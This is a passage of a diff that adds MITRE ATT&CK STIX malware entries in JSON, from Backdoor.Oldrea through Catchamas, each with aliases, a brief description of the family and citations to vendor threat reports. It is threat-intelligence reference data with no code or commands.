Symantec Dragonfly)", + "id": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "external_references": [ + { + "external_id": "S0093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0093" + }, + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:59.661Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Backdoor.Oldrea", + "x_mitre_aliases": [ + "Backdoor.Oldrea", + "Havex" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)", + "id": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "external_references": [ + { + "external_id": "S0337", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0337" + }, + { + "source_name": "BadPatch", + "description": "(Citation: Unit 42 BadPatch Oct 2017)" + }, + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-23T21:17:49.678Z", + "type": "malware", + "created": "2019-01-29T21:33:34.082Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "BadPatch", + "x_mitre_aliases": [ + "BadPatch" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).", + "id": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "external_references": [ + { + "external_id": "S0234", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0234" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + }, + { + "source_name": "EFF Manul Aug 2016", + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Bandook", + "x_mitre_aliases": [ + "Bandook" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)", + "id": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "external_references": [ + { + "external_id": "S0239", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0239" + }, + { + "source_name": "Bankshot", + "description": "(Citation: McAfee Bankshot)" + }, + { + "source_name": "Trojan Manuscript", + "description": "(Citation: McAfee Bankshot)" + }, + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Bankshot", + "x_mitre_aliases": [ + "Bankshot", + "Trojan Manuscript" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)", + "id": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "external_references": [ + { + "external_id": "S0268", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0268" + }, + { + "source_name": "Bisonal", + "description": "(Citation: Unit 42 Bisonal July 2018)" + }, + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Bisonal", + "x_mitre_aliases": [ + "Bisonal" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)", + "id": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "external_references": [ + { + "external_id": "S0089", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0089" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-24T17:08:51.442Z", + "type": "malware", + "created": "2017-05-31T21:32:57.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BlackEnergy", + "x_mitre_aliases": [ + "BlackEnergy", + "Black Energy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "id": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "external_references": [ + { + "external_id": "S0252", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0252" + }, + { + "source_name": "Brave Prince", + "description": "(Citation: McAfee Gold Dragon)" + }, + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Brave Prince", + "x_mitre_aliases": [ + "Brave Prince" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)", + "id": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "external_references": [ + { + "external_id": "S0204", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0204" + }, + { + "source_name": "Briba", + "description": "(Citation: Symantec Briba May 2012)" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Briba May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Briba", + "x_mitre_aliases": [ + "Briba" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)", + "id": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "external_references": [ + { + "external_id": "S0025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0025" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T15:39:45.451Z", + "type": "malware", + "created": "2017-05-31T21:32:20.137Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CALENDAR", + "x_mitre_aliases": [ + "CALENDAR" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)", + "id": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "external_references": [ + { + "external_id": "S0222", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0222" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Intezer Aurora Sept 2017", + "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.", + "url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:11:34.478Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CCBkdr", + "x_mitre_aliases": [ + "CCBkdr" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).", + "id": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "external_references": [ + { + "external_id": "S0023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0023" + }, + { + "source_name": "CHOPSTICK", + "description": "(Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Backdoor.SofacyX", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "SPLM", + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Xagent", + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "X-Agent", + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "webhp", + "description": "(Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "modified": "2019-05-14T17:10:21.597Z", + "type": "malware", + "created": "2017-05-31T21:32:19.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CHOPSTICK", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "CHOPSTICK", + "Backdoor.SofacyX", + "SPLM", + "Xagent", + "X-Agent", + "webhp" + ], + "x_mitre_contributors": [ + "Richard Gold, Digital Shadows" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "id": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "external_references": [ + { + "external_id": "S0212", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0212" + }, + { + "source_name": "CORALDECK", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CORALDECK", + "x_mitre_aliases": [ + "CORALDECK" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "external_references": [ + { + "external_id": "S0137", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0137" + }, + { + "source_name": "CORESHELL", + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group (APT28) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "SOURFACE", + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T18:08:50.719Z", + "type": "malware", + "created": "2017-05-31T21:33:18.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CORESHELL", + "x_mitre_aliases": [ + "CORESHELL", + "Sofacy", + "SOURFACE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", + "id": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "external_references": [ + { + "external_id": "S0274", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0274" + }, + { + "source_name": "Calisto", + "description": "(Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)" + }, + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Calisto", + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" + ], + "x_mitre_aliases": [ + "Calisto" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)", + "id": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "external_references": [ + { + "external_id": "S0077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0077" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:52.875Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CallMe", + "x_mitre_aliases": [ + "CallMe" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", + "id": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "external_references": [ + { + "external_id": "S0351", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0351" + }, + { + "source_name": "Cannon", + "description": "(Citation: Unit42 Cannon Nov 2018)" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-22T19:48:08.741Z", + "type": "malware", + "created": "2019-01-30T18:58:03.614Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Cannon", + "x_mitre_aliases": [ + "Cannon" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)", + "id": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "external_references": [ + { + "external_id": "S0030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0030" + }, + { + "source_name": "Carbanak", + "description": "(Citation: FireEye CARBANAK June 2017)" + }, + { + "source_name": "Anunak", + "description": "(Citation: Fox-It Anunak Feb 2015) (Citation: FireEye CARBANAK June 2017)" + }, + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "source_name": "Fox-It Anunak Feb 2015", + "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", + "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:22.213Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Carbanak", + "x_mitre_aliases": [ + "Carbanak", + "Anunak" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", + "id": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "external_references": [ + { + "external_id": "S0335", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0335" + }, + { + "source_name": "Carbon", + "description": "(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)" + }, + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + }, + { + "source_name": "Securelist Turla Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 04). Shedding Skin \u2013 Turla\u2019s Fresh Faces. Retrieved November 7, 2018.", + "url": "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-12T14:43:22.440Z", + "type": "malware", + "created": "2019-01-29T19:36:02.103Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Carbon", + "x_mitre_aliases": [ + "Carbon" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)", + "id": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "external_references": [ + { + "external_id": "S0348", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0348" + }, + { + "source_name": "Cardinal RAT", + "description": "(Citation: PaloAlto CardinalRat Apr 2017)" + }, + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-10T18:25:51.350Z", + "type": "malware", + "created": "2019-01-30T16:39:53.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cardinal RAT", + "x_mitre_aliases": [ + "Cardinal RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)", + "id": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "external_references": [ + { + "external_id": "S0261", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0261" + }, + { + "source_name": "Catchamas", + "description": "(Citation: Symantec Catchamas April 2018)" + }, + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": 